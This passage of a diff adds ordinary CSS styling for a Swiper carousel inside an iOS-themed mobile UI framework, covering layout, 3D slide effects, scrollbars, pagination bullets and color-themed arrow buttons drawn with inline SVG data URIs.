#000; + border-color: #282829; + color: #fff; +} +.ios .theme-dark .messagebar-attachments { + border-color: #282829; + background-color: #000; +} +/* === Swiper === */ +.swiper-container { + margin: 0 auto; + position: relative; + overflow: hidden; + list-style: none; + padding: 0; + /* Fix of Webkit flickering */ + z-index: 1; +} +.swiper-container-no-flexbox .swiper-slide { + float: left; +} +.swiper-container-vertical > .swiper-wrapper { + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.swiper-wrapper { + position: relative; + width: 100%; + height: 100%; + z-index: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-box-sizing: content-box; + box-sizing: content-box; +} +.swiper-container-android .swiper-slide, +.swiper-wrapper { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +.swiper-container-multirow > .swiper-wrapper { + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; +} +.swiper-container-free-mode > .swiper-wrapper { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; + margin: 0 auto; +} +.swiper-slide { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 100%; + height: 100%; + position: relative; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.swiper-invisible-blank-slide { + visibility: hidden; +} +/* Auto Height */ +.swiper-container-autoheight, +.swiper-container-autoheight .swiper-slide { + height: auto; +} +.swiper-container-autoheight .swiper-wrapper { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-transition-property: height, -webkit-transform; + transition-property: height, -webkit-transform; + transition-property: transform, height; + transition-property: transform, height, -webkit-transform; +} +/* 3D Effects */ +.swiper-container-3d { + -webkit-perspective: 1200px; + perspective: 1200px; +} +.swiper-container-3d .swiper-wrapper, +.swiper-container-3d .swiper-slide, +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom, +.swiper-container-3d .swiper-cube-shadow { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + pointer-events: none; + z-index: 10; +} +.swiper-container-3d .swiper-slide-shadow-left { + background-image: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-right { + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-top { + background-image: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-bottom { + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +/* IE10 Windows Phone 8 Fixes */ +.swiper-container-wp8-horizontal, +.swiper-container-wp8-horizontal > .swiper-wrapper { + -ms-touch-action: pan-y; + touch-action: pan-y; +} +.swiper-container-wp8-vertical, +.swiper-container-wp8-vertical > .swiper-wrapper { + -ms-touch-action: pan-x; + touch-action: pan-x; +} +/* a11y */ +.swiper-container .swiper-notification { + position: absolute; + left: 0; + top: 0; + pointer-events: none; + opacity: 0; + z-index: -1000; +} +.swiper-container-coverflow .swiper-wrapper { + /* Windows 8 IE 10 fix */ + -ms-perspective: 1200px; +} +.swiper-container-cube { + overflow: visible; +} +.swiper-container-cube .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; + visibility: hidden; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + width: 100%; + height: 100%; +} +.swiper-container-cube .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-cube.swiper-container-rtl .swiper-slide { + -webkit-transform-origin: 100% 0; + transform-origin: 100% 0; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-next, +.swiper-container-cube .swiper-slide-prev, +.swiper-container-cube .swiper-slide-next + .swiper-slide { + pointer-events: auto; + visibility: visible; +} +.swiper-container-cube .swiper-slide-shadow-top, +.swiper-container-cube .swiper-slide-shadow-bottom, +.swiper-container-cube .swiper-slide-shadow-left, +.swiper-container-cube .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.swiper-container-cube .swiper-cube-shadow { + position: absolute; + left: 0; + bottom: 0px; + width: 100%; + height: 100%; + background: #000; + opacity: 0.6; + -webkit-filter: blur(50px); + filter: blur(50px); + z-index: 0; +} +.swiper-container-fade.swiper-container-free-mode .swiper-slide { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.swiper-container-fade .swiper-slide { + pointer-events: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.swiper-container-fade .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-fade .swiper-slide-active, +.swiper-container-fade .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip { + overflow: visible; +} +.swiper-container-flip .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; +} +.swiper-container-flip .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-flip .swiper-slide-active, +.swiper-container-flip .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip .swiper-slide-shadow-top, +.swiper-container-flip .swiper-slide-shadow-bottom, +.swiper-container-flip .swiper-slide-shadow-left, +.swiper-container-flip .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +/* Scrollbar */ +.swiper-scrollbar { + border-radius: 10px; + position: relative; + -ms-touch-action: none; + background: rgba(0, 0, 0, 0.1); +} +.swiper-container-horizontal > .swiper-scrollbar { + position: absolute; + left: 1%; + bottom: 3px; + z-index: 50; + height: 5px; + width: 98%; +} +.swiper-container-vertical > .swiper-scrollbar { + position: absolute; + right: 3px; + top: 1%; + z-index: 50; + width: 5px; + height: 98%; +} +.swiper-scrollbar-drag { + height: 100%; + width: 100%; + position: relative; + background: rgba(0, 0, 0, 0.5); + border-radius: 10px; + left: 0; + top: 0; +} +.swiper-scrollbar-cursor-drag { + cursor: move; +} +.swiper-scrollbar-lock { + display: none; +} +.swiper-zoom-container { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + text-align: center; +} +.swiper-zoom-container > img, +.swiper-zoom-container > svg, +.swiper-zoom-container > canvas { + max-width: 100%; + max-height: 100%; + -o-object-fit: contain; + object-fit: contain; +} +.swiper-slide-zoomed { + cursor: move; +} +.swiper-button-prev, +.swiper-button-next { + position: absolute; + top: 50%; + width: 27px; + height: 44px; + margin-top: -22px; + z-index: 10; + cursor: pointer; + background-size: 27px 44px; + background-position: center; + background-repeat: no-repeat; +} +.swiper-button-prev.swiper-button-disabled, +.swiper-button-next.swiper-button-disabled { + opacity: 0.35; + cursor: auto; + pointer-events: none; +} +.swiper-button-prev, +.swiper-container-rtl .swiper-button-next { + left: 10px; + right: auto; +} +.swiper-button-next, +.swiper-container-rtl .swiper-button-prev { + right: 10px; + left: auto; +} +.swiper-pagination { + position: absolute; + text-align: center; + -webkit-transition: 300ms opacity; + transition: 300ms opacity; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 10; +} +.swiper-pagination.swiper-pagination-hidden { + opacity: 0; +} +.swiper-pagination-fraction, +.swiper-pagination-custom, +.swiper-container-horizontal > .swiper-pagination-bullets { + bottom: 10px; + left: 0; + width: 100%; +} +.swiper-pagination-bullets-dynamic { + overflow: hidden; + font-size: 0; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transform: scale(0.33); + transform: scale(0.33); + position: relative; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active { + -webkit-transform: scale(1); + transform: scale(1); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullet { + width: 8px; + height: 8px; + display: inline-block; + border-radius: 100%; + background: #000; + opacity: 0.2; +} +button.swiper-pagination-bullet { + border: none; + margin: 0; + padding: 0; + -webkit-box-shadow: none; + box-shadow: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.swiper-pagination-clickable .swiper-pagination-bullet { + cursor: pointer; +} +.swiper-pagination-bullet-active { + opacity: 1; +} +.swiper-container-vertical > .swiper-pagination-bullets { + right: 10px; + top: 50%; + -webkit-transform: translate3d(0px, -50%, 0); + transform: translate3d(0px, -50%, 0); +} +.swiper-container-vertical > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 6px 0; + display: block; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + width: 8px; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + display: inline-block; + -webkit-transition: 200ms top, 200ms -webkit-transform; + transition: 200ms top, 200ms -webkit-transform; + transition: 200ms transform, 200ms top; + transition: 200ms transform, 200ms top, 200ms -webkit-transform; +} +.swiper-container-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 0 4px; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + white-space: nowrap; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transition: 200ms left, 200ms -webkit-transform; + transition: 200ms left, 200ms -webkit-transform; + transition: 200ms transform, 200ms left; + transition: 200ms transform, 200ms left, 200ms -webkit-transform; +} +.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); + position: absolute; +} +.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transform-origin: left top; + transform-origin: left top; +} +.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + -webkit-transform-origin: right top; + transform-origin: right top; +} +.swiper-container-horizontal > .swiper-pagination-progressbar, +.swiper-container-vertical > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 100%; + height: 4px; + left: 0; + top: 0; +} +.swiper-container-vertical > .swiper-pagination-progressbar, +.swiper-container-horizontal > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 4px; + height: 100%; + left: 0; + top: 0; +} +.swiper-lazy-preloader { + position: absolute; + left: 50%; + top: 50%; + z-index: 10; +} +.ios .swiper-lazy-preloader { + width: 32px; + height: 32px; + margin-left: -16px; + margin-top: -16px; +} +.ios .swiper-button-prev, +.ios .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next, +.ios .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-pagination-bullet-active { + background: #007aff; +} +.ios .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #007aff; +} +.ios .swiper-button-prev.color-red, +.ios .swiper-container-rtl .swiper-button-next.color-red, +.ios .color-theme-red .swiper-button-prev, +.ios .color-theme-red .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-red, +.ios .swiper-container-rtl .swiper-button-prev.color-red, +.ios .color-theme-red .swiper-button-next, +.ios .color-theme-red .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-red .swiper-pagination-bullet-active, +.ios .color-theme-red .swiper-pagination-bullet-active { + background: #ff3b30; +} +.ios .color-red .swiper-pagination-progressbar, +.ios .color-theme-red .swiper-pagination-progressbar, +.ios .color-red.swiper-pagination-progressbar, +.ios .color-theme-red.swiper-pagination-progressbar { + background: rgba(255, 59, 48, 0.25); +} +.ios .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff3b30; +} +.ios .swiper-button-prev.color-green, +.ios .swiper-container-rtl .swiper-button-next.color-green, +.ios .color-theme-green .swiper-button-prev, +.ios .color-theme-green .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-green, +.ios .swiper-container-rtl .swiper-button-prev.color-green, +.ios .color-theme-green .swiper-button-next, +.ios .color-theme-green .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-green .swiper-pagination-bullet-active, +.ios .color-theme-green .swiper-pagination-bullet-active { + background: #4cd964; +} +.ios .color-green .swiper-pagination-progressbar, +.ios .color-theme-green .swiper-pagination-progressbar, +.ios .color-green.swiper-pagination-progressbar, +.ios .color-theme-green.swiper-pagination-progressbar { + background: rgba(76, 217, 100, 0.25); +} +.ios .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #4cd964; +} +.ios .swiper-button-prev.color-blue, +.ios .swiper-container-rtl .swiper-button-next.color-blue, +.ios .color-theme-blue .swiper-button-prev, +.ios .color-theme-blue .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-blue, +.ios .swiper-container-rtl .swiper-button-prev.color-blue, +.ios .color-theme-blue .swiper-button-next, +.ios .color-theme-blue .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-blue .swiper-pagination-bullet-active, +.ios .color-theme-blue .swiper-pagination-bullet-active { + background: #007aff; +} +.ios .color-blue .swiper-pagination-progressbar, +.ios .color-theme-blue .swiper-pagination-progressbar, +.ios .color-blue.swiper-pagination-progressbar, +.ios .color-theme-blue.swiper-pagination-progressbar { + background: rgba(0, 122, 255, 0.25); +} +.ios .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #007aff; +} +.ios .swiper-button-prev.color-pink, +.ios .swiper-container-rtl .swiper-button-next.color-pink, +.ios .color-theme-pink .swiper-button-prev, +.ios .color-theme-pink .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-pink, +.ios .swiper-container-rtl .swiper-button-prev.color-pink, +.ios .color-theme-pink .swiper-button-next, +.ios .color-theme-pink .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-pink .swiper-pagination-bullet-active, +.ios .color-theme-pink .swiper-pagination-bullet-active { + background: #ff2d55; +} +.ios .color-pink .swiper-pagination-progressbar, +.ios .color-theme-pink .swiper-pagination-progressbar, +.ios .color-pink.swiper-pagination-progressbar, +.ios .color-theme-pink.swiper-pagination-progressbar { + background: rgba(255, 45, 85, 0.25); +} +.ios .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff2d55; +} +.ios .swiper-button-prev.color-yellow, +.ios .swiper-container-rtl .swiper-button-next.color-yellow, +.ios .color-theme-yellow .swiper-button-prev, +.ios .color-theme-yellow .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-yellow, +.ios .swiper-container-rtl .swiper-button-prev.color-yellow, +.ios .color-theme-yellow .swiper-button-next, +.ios .color-theme-yellow .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-yellow .swiper-pagination-bullet-active, +.ios .color-theme-yellow .swiper-pagination-bullet-active { + background: #ffcc00; +} +.ios .color-yellow .swiper-pagination-progressbar, +.ios .color-theme-yellow .swiper-pagination-progressbar, +.ios .color-yellow.swiper-pagination-progressbar, +.ios .color-theme-yellow.swiper-pagination-progressbar { + background: rgba(255, 204, 0, 0.25); +} +.ios .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffcc00; +} +.ios .swiper-button-prev.color-orange, +.ios .swiper-container-rtl .swiper-button-next.color-orange, +.ios .color-theme-orange .swiper-button-prev, +.ios .color-theme-orange .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-orange, +.ios .swiper-container-rtl .swiper-button-prev.color-orange, +.ios .color-theme-orange .swiper-button-next, +.ios .color-theme-orange .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-orange .swiper-pagination-bullet-active, +.ios .color-theme-orange .swiper-pagination-bullet-active { + background: #ff9500; +} +.ios .color-orange .swiper-pagination-progressbar, +.ios .color-theme-orange .swiper-pagination-progressbar, +.ios .color-orange.swiper-pagination-progressbar, +.ios .color-theme-orange.swiper-pagination-progressbar { + background: rgba(255, 149, 0, 0.25); +} +.ios .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff9500; +} +.ios .swiper-button-prev.color-gray, +.ios .swiper-container-rtl .swiper-button-next.color-gray, +.ios .color-theme-gray .swiper-button-prev, +.ios .color-theme-gray .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-gray, +.ios .swiper-container-rtl .swiper-button-prev.color-gray, +.ios .color-theme-gray .swiper-button-next, +.ios .color-theme-gray .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-gray .swiper-pagination-bullet-active, +.ios .color-theme-gray .swiper-pagination-bullet-active { + background: #8e8e93; +} +.ios .color-gray .swiper-pagination-progressbar, +.ios .color-theme-gray .swiper-pagination-progressbar, +.ios .color-gray.swiper-pagination-progressbar, +.ios .color-theme-gray.swiper-pagination-progressbar { + background: rgba(142, 142, 147, 0.25); +} +.ios .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #8e8e93; +} +.ios .swiper-button-prev.color-white, +.ios .swiper-container-rtl .swiper-button-next.color-white, +.ios .color-theme-white .swiper-button-prev, +.ios .color-theme-white .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-white, +.ios .swiper-container-rtl .swiper-button-prev.color-white, +.ios .color-theme-white .swiper-button-next, +.ios .color-theme-white .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-white .swiper-pagination-bullet-active, +.ios .color-theme-white .swiper-pagination-bullet-active { + background: #ffffff; +} +.ios .color-white .swiper-pagination-progressbar, +.ios .color-theme-white .swiper-pagination-progressbar, +.ios .color-white.swiper-pagination-progressbar, +.ios .color-theme-white.swiper-pagination-progressbar { + background: rgba(255, 255, 255, 0.25); +} +.ios .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffffff; +} +.ios .swiper-button-prev.color-black, +.ios .swiper-container-rtl .swiper-button-next.color-black, +.ios .color-theme-black .swiper-button-prev, +.ios .color-theme-black .swiper-container-rtl 